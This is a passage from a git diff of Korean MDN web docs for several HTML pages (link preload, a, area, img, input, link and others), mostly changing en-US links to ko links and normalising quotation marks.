+`<link>` 요소의 한 가지 멋진 기능은 {{htmlattrxref("media", "link")}} 특성을 포함할 수 있다는 것입니다. `<link>`는 [미디어 타입](/ko/docs/Web/CSS/@media#media_types) 혹은 완전한 [미디어 쿼리](/ko/docs/Web/CSS/Media_Queries/Using_media_queries)를 포함할 수 있기 때문에 반응형 프리로드를 할 수 있습니다.
 
 예제를 살펴보겠습니다(GitHub에서 [소스 코드](https://github.com/mdn/html-examples/tree/master/link-rel-preload/media)와 [라이브 예제](https://mdn.github.io/html-examples/link-rel-preload/media/)를 참고하세요).
 
@@ -165,7 +165,7 @@ original_slug: Web/HTML/Link_types/preload
 </body>
 ```
 
-위 예제에서는 사용자가 좁은 폭의 뷰포트를 가지고 있는 경우 작은 이미지를 프리로드하고, 넓은 폭의 뷰포트를 가지고 있는 경우 더 큰 이미지를 프리로드하기 위해 `<link>` 요소에 `media` 특성을 포함했습니다. 이를 위해 {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}}를 사용했습니다(더 상세한 내용은 [미디어 쿼리 테스트하기](/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries)를 참고하세요).
+위 예제에서는 사용자가 좁은 폭의 뷰포트를 가지고 있는 경우 작은 이미지를 프리로드하고, 넓은 폭의 뷰포트를 가지고 있는 경우 더 큰 이미지를 프리로드하기 위해 `<link>` 요소에 `media` 특성을 포함했습니다. 이를 위해 {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}}를 사용했습니다(더 상세한 내용은 [미디어 쿼리 테스트하기](/ko/docs/Web/CSS/Media_Queries/Testing_media_queries)를 참고하세요).
 
 위 방법은 폰트가 페이지가 렌더링될 때 사용 가능하도록 만들어 FOUT(스타일이 적용되지 않은 텍스트가 잠시 표출되는 현상)을 줄입니다.
 
@@ -197,7 +197,7 @@ document.body.appendChild(preloadedScript);
 
 다른 프리로딩 관련 기능이 존재하기는 하지만, `<link rel="preload">` 만큼 목적에 잘 부합하는 기능은 없습니다.
 
-- `<link rel="prefetch">`는 여러 브라우저들에서 오랫동안 지원되어 왔지만, 이는 **다음** 페이지 이동이나 페이지 로드에 사용될 리소스를 프리로딩하기 위한 목적이었습니다(예를 들어, 다음 페이지로 이동할 때). 이 역시 훌륭하지만, 현재 페이지에는 유용한 것은 아닙니다! 게다가, 브라우저는 `prefetch` 리소스에게 `preload` 리소스보다 더 낮은 우선순위를 부여할 것입니다. 현재 페이지가 다음 페이지보다 더 중요하기 때문이죠. 더 상세한 내용을 보려면 [링크 프리페칭 FAQ](/en-US/docs/Web/HTTP/Link_prefetching_FAQ)를 참고하세요.
+- `<link rel="prefetch">`는 여러 브라우저들에서 오랫동안 지원되어 왔지만, 이는 **다음** 페이지 이동이나 페이지 로드에 사용될 리소스를 프리로딩하기 위한 목적이었습니다(예를 들어, 다음 페이지로 이동할 때). 이 역시 훌륭하지만, 현재 페이지에는 유용한 것은 아닙니다! 게다가, 브라우저는 `prefetch` 리소스에게 `preload` 리소스보다 더 낮은 우선순위를 부여할 것입니다. 현재 페이지가 다음 페이지보다 더 중요하기 때문이죠. 더 상세한 내용을 보려면 [링크 프리페칭 FAQ](/ko/docs/Web/HTTP/Link_prefetching_FAQ)를 참고하세요.
 - `<link rel="prerender">`는 특정한 웹 페이지를 백그라운드에서 렌더링해 사용자가 해당 페이지에 접근할 때의 로딩 속도를 높입니다. 이는 사용자의 대역폭을 낭비할 가능성이 있기 때문에, Chrome은 `prerender`를 [NoState prefetch](https://developer.chrome.com/blog/nostate-prefetch/)로 대신 간주합니다.
 - `<link rel="subresource">` {{non-standard_inline}}은 Chrome에서 예전에 `preload`와 같은 문제를 해결하기 위해 지원됐지만, 한 가지 문제가 있었습니다. 항목에 대한 우선순위를 지정할 방법이 없었습니다(당시는 `as`가 존재하지 않았습니다). 따라서 이를 사용한 리소스는 동일하게 낮은 우선순위로 불러와졌습니다.
 - 다양한 스크립트 기반의 리소스 로더들이 나와 있지만, 그 어떤 로더도 브라우저의 fetch 우선순위 큐보다 강력한 파워를 가지지는 못했을 뿐만 아니라, 성능 문제가 발생할 가능성이 높습니다.
diff --git a/files/ko/web/html/cors_enabled_image/index.md b/files/ko/web/html/cors_enabled_image/index.md
index 343165437d69ff..23589f2c40c8f7 100644
--- a/files/ko/web/html/cors_enabled_image/index.md
+++ b/files/ko/web/html/cors_enabled_image/index.md
@@ -111,4 +111,4 @@ You can [try out](https://cors-image-example.glitch.me/) or [remix](https://glit
 - [HTML Specification - the `crossorigin` attribute](http://whatwg.org/html#attr-img-crossorigin)
 - [Web Storage API](/ko/docs/Web/API/Web_Storage_API)
 
-{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}
+{{QuickLinksWithSubpages("/ko/docs/Web/HTML/")}}
diff --git a/files/ko/web/html/element/a/index.md b/files/ko/web/html/element/a/index.md
index decf964c1ce2c2..3c72b2f4e54457 100644
--- a/files/ko/web/html/element/a/index.md
+++ b/files/ko/web/html/element/a/index.md
@@ -63,8 +63,6 @@ slug: Web/HTML/Element/a
 - {{htmlattrdef("type")}}
   - : 링크 URL의 {{Glossary("MIME type")}}에 대한 힌트. 특별한 내장 기능은 없습니다.
 
-<div class="hidden"><h3 id="Obsolete_attributes">Obsolete attributes</h3><dl><dt id="charset">{{HTMLAttrDef("charset")}}{{deprecated_inline}}</dt><dd>Hinted at the <a href="/en-US/docs/Glossary/character_encoding">character encoding</a> of the linked URL.<div class="note"><p><strong>Note:</strong> This attribute is obsolete and <strong>should not be used by authors</strong>. Use the HTTP <a href="/en-US/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type:</code></a> header on the linked URL.</p></div></dd><dt id="coords">{{HTMLAttrDef("coords")}}{{deprecated_inline}}</dt><dd>Used with <a href="#shape">the <code>shape</code> attribute</a>. A comma-separated list of coordinates.</dd><dt id="name">{{HTMLAttrDef("name")}}{{deprecated_inline}}</dt><dd>Was required to define a possible target location in a page. In HTML 4.01, <code>id</code> and <code>name</code> could both be used on <code>&#x3C;a></code>, as long as they had identical values.<div class="note"><p><strong>Note:</strong> Use the global attribute {{HTMLAttrxRef("id")}} instead.</p></div></dd><dt id="rev">{{HTMLAttrDef("rev")}}{{deprecated_inline}}</dt><dd>Specified a reverse link; the opposite of <a href="#rel">the <code>rel</code> attribute</a>. Deprecated for being very confusing.</dd><dt id="shape">{{HTMLAttrDef("shape")}}{{deprecated_inline}}</dt><dd>The shape of the hyperlink’s region in an image map.<div class="note"><strong>Note:</strong> Use the {{HTMLElement("area")}} element for image maps instead.</div></dd></dl></div>
-
 ## 속성
 
 <table class="properties">
@@ -181,7 +179,7 @@ slug: Web/HTML/Element/a
 
 ```html
 <a href="//example.com">Scheme-relative URL</a>
-<a href="/en-US/docs/Web/HTML">Origin-relative URL</a>
+<a href="/ko/docs/Web/HTML">Origin-relative URL</a>
 <a href="./p">Directory-relative URL</a>
 ```
 
diff --git a/files/ko/web/html/element/area/index.md b/files/ko/web/html/element/area/index.md
index 2132a42b20b5be..b18218444d04f3 100644
--- a/files/ko/web/html/element/area/index.md
+++ b/files/ko/web/html/element/area/index.md
@@ -99,7 +99,7 @@ slug: Web/HTML/Element/area
   - : A string indicating which referrer to use when fetching the resource:
 
     - `"no-referrer"` meaning that the `Referer:` header will not be sent.
-    - "`no-referrer-when-downgrade`" meaning that no `Referer:` header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.
+    - "`no-referrer-when-downgrade`" meaning that no `Referer:` header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent's default behavior, if no policy is otherwise specified.
     - `"origin"` meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
     - "origin-when-cross-origin" meaning that navigations to other origins will be limited to the scheme, the host and the port, while navigations on the same origin will include the referrer's path.
     - `"unsafe-url"` meaning that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.
@@ -138,7 +138,7 @@ A numeric value specifying the position of the defined area in the browser tabbi
 
 - {{htmlattrdef("type")}} {{deprecated_inline}}
 
-No effect. Browsers ignore it. (The W3C 5.3 fork of the HTML specification defines it as valid, but [the canonical HTML specification](https://html.spec.whatwg.org/multipage/#the-area-element) doesn’t, and it has no effect in any user agents.)
+No effect. Browsers ignore it. (The W3C 5.3 fork of the HTML specification defines it as valid, but [the canonical HTML specification](https://html.spec.whatwg.org/multipage/#the-area-element) doesn't, and it has no effect in any user agents.)
 
 ## 예제
 
diff --git a/files/ko/web/html/element/article/index.md b/files/ko/web/html/element/article/index.md
index 65c6ebcac90c83..285b8e84af85e7 100644
--- a/files/ko/web/html/element/article/index.md
+++ b/files/ko/web/html/element/article/index.md
@@ -56,7 +56,7 @@ slug: Web/HTML/Element/article
     <tr>
       <th scope="row"><dfn>가능한 부모 요소</dfn></th>
       <td>
-        <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content"
+        <a href="/ko/docs/Web/HTML/Content_categories#Flow_content"
           >플로우 콘텐츠</a
         >를 허용하는 모든 요소.<br /><code>&#x3C;article></code> 요소는
         {{HTMLElement("address")}}의 후손이 될 수 없음에 주의하세요.
diff --git a/files/ko/web/html/element/aside/index.md b/files/ko/web/html/element/aside/index.md
index 6ef4d08f4b3339..a54c54b7977272 100644
--- a/files/ko/web/html/element/aside/index.md
+++ b/files/ko/web/html/element/aside/index.md
@@ -47,7 +47,7 @@ slug: Web/HTML/Element/aside
     <tr>
       <th scope="row">가능한 부모 요소</th>
       <td>
-        <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content"
+        <a href="/ko/docs/Web/HTML/Content_categories#Flow_content"
           >플로우 콘텐츠</a
         >를 허용하는 모든 요소.<br /><code>&#x3C;aside></code> 요소는
         {{HTMLElement("address")}}의 후손이 될 수 없음에 주의하세요.
diff --git a/files/ko/web/html/element/button/index.md b/files/ko/web/html/element/button/index.md
index e95fc5662026eb..af83f4be872f36 100644
--- a/files/ko/web/html/element/button/index.md
+++ b/files/ko/web/html/element/button/index.md
@@ -214,7 +214,7 @@ slug: Web/HTML/Element/button
 
 ### Firefox
 
-Firefox will add a small dotted border on a focused button. This border is declared through CSS in the browser stylesheet, but you can override it to add your own focused style using `<a href="/en-US/docs/Web/CSS/::-moz-focus-inner">button::-moz-focus-inner { }</a>`.
+Firefox will add a small dotted border on a focused button. This border is declared through CSS in the browser stylesheet, but you can override it to add your own focused style using `<a href="/ko/docs/Web/CSS/::-moz-focus-inner">button::-moz-focus-inner { }</a>`.
 
 If overridden, it is important to **ensure that the state change when focus is moved to the button is high enough** that people experiencing low vision conditions will be able to perceive it.
 
diff --git a/files/ko/web/html/element/img/clock-demo-400px.png b/files/ko/web/html/element/img/clock-demo-400px.png
deleted file mode 100644
index 999ad528fe9cbf..00000000000000
Binary files a/files/ko/web/html/element/img/clock-demo-400px.png and /dev/null differ
diff --git a/files/ko/web/html/element/img/favicon144.png b/files/ko/web/html/element/img/favicon144.png
deleted file mode 100644
index e30b574b6540f5..00000000000000
Binary files a/files/ko/web/html/element/img/favicon144.png and /dev/null differ
diff --git a/files/ko/web/html/element/img/favicon72.png b/files/ko/web/html/element/img/favicon72.png
deleted file mode 100644
index db68260ca1fe50..00000000000000
Binary files a/files/ko/web/html/element/img/favicon72.png and /dev/null differ
diff --git a/files/ko/web/html/element/img/index.md b/files/ko/web/html/element/img/index.md
index 4cbf864384d923..c0b8eb11caeed1 100644
--- a/files/ko/web/html/element/img/index.md
+++ b/files/ko/web/html/element/img/index.md
@@ -83,7 +83,7 @@ HTML 표준은 지원해야 하는 이미지 형식을 명시하고 있지 않
   `low`: 이미지가 **낮은** 우선순위를 지님.
 
   - {{htmlattrdef("intrinsicsize")}} {{deprecated_inline}}
-    - This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute. Specifically, the image would raster at these dimensions and `naturalWidth`/`naturalHeight` on images would return the values specified in this attribute. [Explainer](https://github.com/ojanvafai/intrinsicsize-attribute), [examples](https://googlechrome.github.io/samples/intrinsic-size/index.html)
+    - This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it's the size specified in the attribute. Specifically, the image would raster at these dimensions and `naturalWidth`/`naturalHeight` on images would return the values specified in this attribute. [Explainer](https://github.com/ojanvafai/intrinsicsize-attribute), [examples](https://googlechrome.github.io/samples/intrinsic-size/index.html)
 - {{htmlattrdef("ismap")}}
   - : 이미지가 [서버 사이드 맵](https://ko.wikipedia.org/wiki/%EC%9D%B4%EB%AF%B8%EC%A7%80_%EB%A7%B5)의 일부인지 나타냄. 서버 사이드 맵에 속하는 경우, 사용자가 이미지에서 클릭한 위치를 서버로 전송합니다.
 
diff --git a/files/ko/web/html/element/input/date/index.md b/files/ko/web/html/element/input/date/index.md
index 5e5fa6e256346f..43343abb95d4a6 100644
--- a/files/ko/web/html/element/input/date/index.md
+++ b/files/ko/web/html/element/input/date/index.md
@@ -17,15 +17,15 @@ slug: Web/HTML/Element/input/date
 
 날짜 선택을 위한 별도의 인터페이스를 갖춘 브라우저 중, Chrome과 Opera는 다음과 같은 모양의 달력을 보여줍니다.
 
-![A textbox containing “dd/mm/yyyy”, an increment/decrement button combo, and a downward arrow that opens into a calendar control.](date-picker-chrome.png)
+![A textbox containing "dd/mm/yyyy", an increment/decrement button combo, and a downward arrow that opens into a calendar control.](date-picker-chrome.png)
 
 구 Edge의 컨트롤입니다.
 
-![A textbox containing “mm/dd/yyyy”, but when interacted with, opens a tri-column date selector.](date-picker-edge.png)
+![A textbox containing "mm/dd/yyyy", but when interacted with, opens a tri-column date selector.](date-picker-edge.png)
 
 Firefox의 날짜 컨트롤입니다.
 
-![Another “dd/mm/yyyy” textbox that expands into a selectable calendar control.](firefox_datepicker.png)
+![Another "dd/mm/yyyy" textbox that expands into a selectable calendar control.](firefox_datepicker.png)
 
 <table class="properties">
   <tbody>
@@ -210,7 +210,7 @@ A string value of `any` means that no stepping is implied, and any value is allo
 
 지원하지 않는 브라우저를 사용하시는 경우엔 다음 스크린샷을 참고하세요.
 
-![The input field has an overlaid speech balloon, with an orange exclamation mark icon and the message “Please fill in this field.”](date-picker-chrome-error-message.png)
+![The input field has an overlaid speech balloon, with an orange exclamation mark icon and the message "Please fill in this field."](date-picker-chrome-error-message.png)
 
 다음은 위 코드에서 사용한 CSS로, {{cssxref(":valid")}}와 {{cssxref(":invalid")}} 의사 클래스를 사용해 입력한 값의 유효성 여부에 따라 다른 스타일을 적용하고 있습니다. 구체적으로는, 유효성에 따라 입력 칸의 옆에 배치한 {{htmlelement("span")}}에 아이콘을 추가합니다.
 
diff --git a/files/ko/web/html/element/input/index.md b/files/ko/web/html/element/input/index.md
index 416df7d1b68175..896c6689f3d28f 100644
--- a/files/ko/web/html/element/input/index.md
+++ b/files/ko/web/html/element/input/index.md
@@ -393,7 +393,7 @@ A few additional non-standard attributes are listed following the descriptions o
   - : Introduced in the HTML Media Capture specification and valid for the `file` input type only, the `capture` attribute defines which media - microphone, video, or camera - should be used to capture a new file for upload with `file` upload control in supporting scenarios. See the {{HTMLElement("input/file", "file")}} input type.
 - {{htmlattrdef("checked")}}
 
-  - : Valid for both `radio` and `checkbox` types, `checked` is a Boolean attribute. If present on a radio type, it indicates that that radio button is the currently selected one in the group of same-named radio buttons. If present on a `checkbox` type, it indicates that the checkbox is checked by default (when the page loads). It does _not_ indicate whether this checkbox is currently checked: if the checkbox’s state is changed, this content attribute does not reflect the change. (Only the [`HTMLInputElement`’s `checked` IDL attribute](/ko/docs/Web/API/HTMLInputElement) is updated.)
+  - : Valid for both `radio` and `checkbox` types, `checked` is a Boolean attribute. If present on a radio type, it indicates that that radio button is the currently selected one in the group of same-named radio buttons. If present on a `checkbox` type, it indicates that the checkbox is checked by default (when the page loads). It does _not_ indicate whether this checkbox is currently checked: if the checkbox's state is changed, this content attribute does not reflect the change. (Only the [`HTMLInputElement`'s `checked` IDL attribute](/ko/docs/Web/API/HTMLInputElement) is updated.)
 
     > **참고:** Unlike other input controls, a checkboxes and radio buttons value are only included in the submitted data if they are currently `checked`. If they are, the name and the value(s) of the checked controls are submitted.
     >
diff --git a/files/ko/web/html/element/link/index.md b/files/ko/web/html/element/link/index.md
index 44a2c371ea2244..5967475bffabc1 100644
--- a/files/ko/web/html/element/link/index.md
+++ b/files/ko/web/html/element/link/index.md
@@ -56,7 +56,7 @@ slug: Web/HTML/Element/link
 
 이 요소는 [전역 특성](/ko/docs/Web/HTML/Global_attributes)을 포함합니다
 
-<dl><dt>{{HTMLAttrDef("as")}}</dt><dd><code>&#x3C;link></code> 요소에 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code> 특성을 지정했을 때만 사용합니다. <code>as</code> 특성은 <code>&#x3C;link></code> 요소가 불러오는 콘텐츠의 유형을 지정합니다. 요청 매칭, 올바른 콘텐츠 보안 정책의 적용, 올바른 {{HTTPHeader("Accept")}} 요청 헤더 적용에 필요합니다. 이에 더해, <code>rel="preload"</code>는 <code>as</code> 특성을 사용해 요청 우선순위를 매깁니다. 다음 표는 특성의 유효한 값과, 해당 값이 적용되는 요소 또는 리소스를 나열합니다.</dd><dd><table class="standard-table"><thead><tr><th scope="col">값</th><th scope="col">적용 대상</th></tr></thead><tbody><tr><td><code>audio</code></td><td><code>&#x3C;audio></code> 요소</td></tr><tr><td><code>document</code></td><td><code>&#x3C;iframe></code>과 <code>&#x3C;frame></code> 요소</td></tr><tr><td><code>embed</code></td><td><code>&#x3C;embed></code> 요소</td></tr><tr><td><code>fetch</code></td><td><p><code>fetch</code>, XHR</p><div class="blockIndicator note"><p><code>fetch</code> 값은 <code>&#x3C;link></code> 요소에 <code>crossorigin</code> 특성도 요구합니다.</p></div></td></tr><tr><td><code>font</code></td><td>CSS <code>@font-face</code></td></tr><tr><td><code>image</code></td><td><code>srcset</code> 또는 <code>imageset</code> 특성을 가진 <code>&#x3C;img></code>와 <code>&#x3C;picture></code> 요소, SVG <code>&#x3C;image></code> 요소, CSS <code>*-image</code> 규칙</td></tr><tr><td><code>object</code></td><td><code>&#x3C;object></code> 요소</td></tr><tr><td><code>script</code></td><td><code>&#x3C;script></code> 요소, 워커 <code>importScripts</code></td></tr><tr><td><code>style</code></td><td><code>&#x3C;link rel=stylesheet></code> 요소, CSS <code>@import</code></td></tr><tr><td><code>track</code></td><td><code>&#x3C;track></code> 요소</td></tr><tr><td><code>video</code></td><td><code>&#x3C;video></code> 요소</td></tr><tr><td><code>worker</code></td><td>워커, 공유 워커</td></tr></tbody></table></dd><dt>{{htmlattrdef("crossorigin")}}</dt><dd>리소스를 가져올 때 {{glossary("CORS")}}를 사용해야 하는지 나타내는 열거형 특성입니다. <a href="/ko/docs/Web/HTML/CORS_Enabled_Image">CORS 활성화 이미지</a>는 {{HTMLElement("canvas")}} 요소를 "오염"(taint)시키지 않고 재사용할 수 있습니다. 가능한 값은 다음과 같습니다.<dl><dt><code>anonymous</code></dt><dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하지만 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 어떠한 것도 전송하지 않습니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd><dt><code>use-credentials</code></dt><dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하면서 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 한 가지 이상을 수행합니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd></dl><code>crossorigin</code> 특성이 존재하지 않으면 리소스를 {{Glossary("CORS")}} 요청 없이 가져오므로 리소스의 오염 없이는 사용이 불가능합니다. 유효하지 않은 값은 <strong>anonymous</strong>를 지정한 것으로 간주합니다. <a href="/ko/docs/Web/HTML/Attributes/crossorigin">CORS 설정 특성</a> 문서에서 더 자세한 정보를 알아보세요.</dd><dt>{{htmlattrdef("disabled")}}</dt><dd><p><code>rel="stylesheet"</code>에 한정하여, <code>disabled</code> 불리언 특성은 스타일시트를 불러와서 문서에 적용할지 나타냅니다. HTML을 불러오는 시점에 <code>disabled</code>를 지정한 경우 스타일시트는 페이지 로딩 시점에 불러오지 않습니다. 이후에 <code>disabled</code> 특성이 <code>false</code>로 바뀌거나 아예 제거될 때는 불러옵니다.</p><p>DOM에서 <code>disabled</code> 속성을 지정하면 문서의 {{domxref("document.styleSheets")}} 리스트에서 스타일시트를 제거합니다.</p></dd><dt>{{HTMLAttrDef("href")}}</dt><dd>연결할 리소스의 {{glossary("URL")}}입니다. 절대와 상대 URL 모두 가능합니다.</dd><dt>{{HTMLAttrDef("hreflang")}}</dt><dd>연결할 리소스가 사용하는 언어입니다. 오직 제안하는 용도로만 사용합니다. 가능한 값은 <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>에 따릅니다. {{htmlattrxref("href", "link")}} 특성이 존재할 때만 사용하세요.</dd><dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt><dd>리소스의 상대적인 중요도입니다. 가능한 값은 다음과 같습니다.</dd><dd><p><strong><code>auto</code></strong>: <strong>설정 안함</strong>. 브라우저가 자체 휴리스틱을 사용해 리소스의 우선순위를 결정합니다.</p><p><strong><code>high</code></strong>: 브라우저에게 리소스가 <strong>높은</strong> 우선순위를 지님을 알려줍니다.</p><p><strong><code>low</code></strong>: 브라우저에게 리소스가 <strong>낮은</strong> 우선순위를 지님을 알려줍니다.</p><div class="blockIndicator note"><p><strong>참고: </strong><code>importance</code> 특성은 <code>&#x3C;link></code> 요소가 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code>를 가지고 있어야 사용할 수 있습니다.</p></div></dd><dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt><dd>Contains inline metadata — a base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch. The browser can use this to verify that the fetched resource has been delivered free of unexpected manipulation. See <a href="/ko/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd><dt>{{htmlattrdef("media")}}</dt><dd>연결된 리소스를 적용할 미디어를 명시합니다. 값으로는 반드시 미디어 유형이나 미디어 쿼리를 사용해야 합니다. <code>media</code> 특성은 사용자 에이전트가 현재 장치에 맞춰 최적의 스타일시트를 선택하도록 할 수 있으므로 주로 외부 스타일시트를 연결할 때 유용합니다.<div class="note"><strong>참고:</strong><ul><li>HTML 4에서는 이 특성의 값으로 사용할 수 있는<code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>등과 같은 값을 공백으로 구분한 미디어 설명 문자열 목록, 예를 들어, 미디어 유형 및 그룹(<a href="/ko/docs/CSS/@media">media types and groups</a>)일 수 있습니다.HTML5에서는 이를 확장하여 HTML 4에서 허용되는 값 외에 어떤 유형의<a href="/ko/docs/CSS/Media_queries">media queries</a>든 사용할 수 있습니다.</li><li><a href="/ko/docs/CSS/Media_queries">CSS3 Media Queries</a>를 지원하지 않는 브라우저는 이를 타당한 링크로 인식하지 않을 수 있으므로HTML 4에 정의되어 있는제한된 media query의 집합을 이용한 폴백(fallback) 링크를 설정하는 것을 잊지 말기바랍니다.</li></ul></div></dd><dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt><dd>A string indicating which referrer to use when fetching the resource:<ul><li><code>no-referrer</code> means that the {{HTTPHeader("Referer")}} header will not be sent.</li><li><code>no-referrer-when-downgrade</code> means that no {{HTTPHeader("Referer")}} header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li><li><code>origin</code> means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port.</li><li><code>origin-when-cross-origin</code> means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path.</li><li><code>unsafe-url</code> means that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li></ul></dd><dt>{{htmlattrdef("rel")}}</dt><dd>연결할 리소스와 현재 문서의 관계. <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a>의 값을 공백으로 구분한 리스트를 지정해야 합니다.</dd><dt>{{HTMLAttrDef("sizes")}}</dt><dd>This attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the {{HTMLAttrxRef("rel", "link")}} contains a value of <code>icon</code> or a non-standard type such as Apple's <code>apple-touch-icon</code>. It may have the following values:<ul><li><code>any</code>, meaning that the icon can be scaled to any size as it is in a vector format, like <code>image/svg+xml</code>.</li><li>a white-space separated list of sizes, each in the format <code><em>&#x3C;width in pixels></em>x<em>&#x3C;height in pixels></em></code> or <code><em>&#x3C;width in pixels></em>X<em>&#x3C;height in pixels></em></code>. Each of these sizes must be contained in the resource.</li></ul><div class="blockIndicator note"><p><strong>Note: </strong>Most icon formats are only able to store one single icon; therefore most of the time the {{HTMLAttrxRef("sizes")}} attribute contains only one entry. MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).</p></div></dd><dt>{{htmlattrdef("title")}}</dt><dd>The <code>title</code> attribute has special semantics on the <code>&#x3C;link></code> element. When used on a <code>&#x3C;link rel="stylesheet"></code> it defines a <a href="/ko/docs/Web/CSS/Alternative_style_sheets">preferred or an alternate stylesheet</a>. Incorrectly using it may <a href="/ko/docs/Correctly_Using_Titles_With_External_Stylesheets">cause the stylesheet to be ignored</a>.</dd><dt>{{htmlattrdef("type")}}</dt><dd>이 특성은 링크된 콘텐츠의 타입을 정의하는데 사용됩니다. 특성의 값은<strong> text/html</strong>, <strong>text/css</strong>와 같은 MIME 타입이여야합니다. 이 특성은 링크된 스타일시트의 타입을 지정하는데 쓰이는것이 보통이며, text/css 값이 가장 흔합니다.</dd></dl>
+<dl><dt>{{HTMLAttrDef("as")}}</dt><dd><code>&#x3C;link></code> 요소에 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code> 특성을 지정했을 때만 사용합니다. <code>as</code> 특성은 <code>&#x3C;link></code> 요소가 불러오는 콘텐츠의 유형을 지정합니다. 요청 매칭, 올바른 콘텐츠 보안 정책의 적용, 올바른 {{HTTPHeader("Accept")}} 요청 헤더 적용에 필요합니다. 이에 더해, <code>rel="preload"</code>는 <code>as</code> 특성을 사용해 요청 우선순위를 매깁니다. 다음 표는 특성의 유효한 값과, 해당 값이 적용되는 요소 또는 리소스를 나열합니다.</dd><dd><table class="standard-table"><thead><tr><th scope="col">값</th><th scope="col">적용 대상</th></tr></thead><tbody><tr><td><code>audio</code></td><td><code>&#x3C;audio></code> 요소</td></tr><tr><td><code>document</code></td><td><code>&#x3C;iframe></code>과 <code>&#x3C;frame></code> 요소</td></tr><tr><td><code>embed</code></td><td><code>&#x3C;embed></code> 요소</td></tr><tr><td><code>fetch</code></td><td><p><code>fetch</code>, XHR</p><div class="blockIndicator note"><p><code>fetch</code> 값은 <code>&#x3C;link></code> 요소에 <code>crossorigin</code> 특성도 요구합니다.</p></div></td></tr><tr><td><code>font</code></td><td>CSS <code>@font-face</code></td></tr><tr><td><code>image</code></td><td><code>srcset</code> 또는 <code>imageset</code> 특성을 가진 <code>&#x3C;img></code>와 <code>&#x3C;picture></code> 요소, SVG <code>&#x3C;image></code> 요소, CSS <code>*-image</code> 규칙</td></tr><tr><td><code>object</code></td><td><code>&#x3C;object></code> 요소</td></tr><tr><td><code>script</code></td><td><code>&#x3C;script></code> 요소, 워커 <code>importScripts</code></td></tr><tr><td><code>style</code></td><td><code>&#x3C;link rel=stylesheet></code> 요소, CSS <code>@import</code></td></tr><tr><td><code>track</code></td><td><code>&#x3C;track></code> 요소</td></tr><tr><td><code>video</code></td><td><code>&#x3C;video></code> 요소</td></tr><tr><td><code>worker</code></td><td>워커, 공유 워커</td></tr></tbody></table></dd><dt>{{htmlattrdef("crossorigin")}}</dt><dd>리소스를 가져올 때 {{glossary("CORS")}}를 사용해야 하는지 나타내는 열거형 특성입니다. <a href="/ko/docs/Web/HTML/CORS_Enabled_Image">CORS 활성화 이미지</a>는 {{HTMLElement("canvas")}} 요소를 "오염"(taint)시키지 않고 재사용할 수 있습니다. 가능한 값은 다음과 같습니다.<dl><dt><code>anonymous</code></dt><dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하지만 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 어떠한 것도 전송하지 않습니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd><dt><code>use-credentials</code></dt><dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하면서 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 한 가지 이상을 수행합니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd></dl><code>crossorigin</code> 특성이 존재하지 않으면 리소스를 {{Glossary("CORS")}} 요청 없이 가져오므로 리소스의 오염 없이는 사용이 불가능합니다. 유효하지 않은 값은 <strong>anonymous</strong>를 지정한 것으로 간주합니다. <a href="/ko/docs/Web/HTML/Attributes/crossorigin">CORS 설정 특성</a> 문서에서 더 자세한 정보를 알아보세요.</dd><dt>{{htmlattrdef("disabled")}}</dt><dd><p><code>rel="stylesheet"</code>에 한정하여, <code>disabled</code> 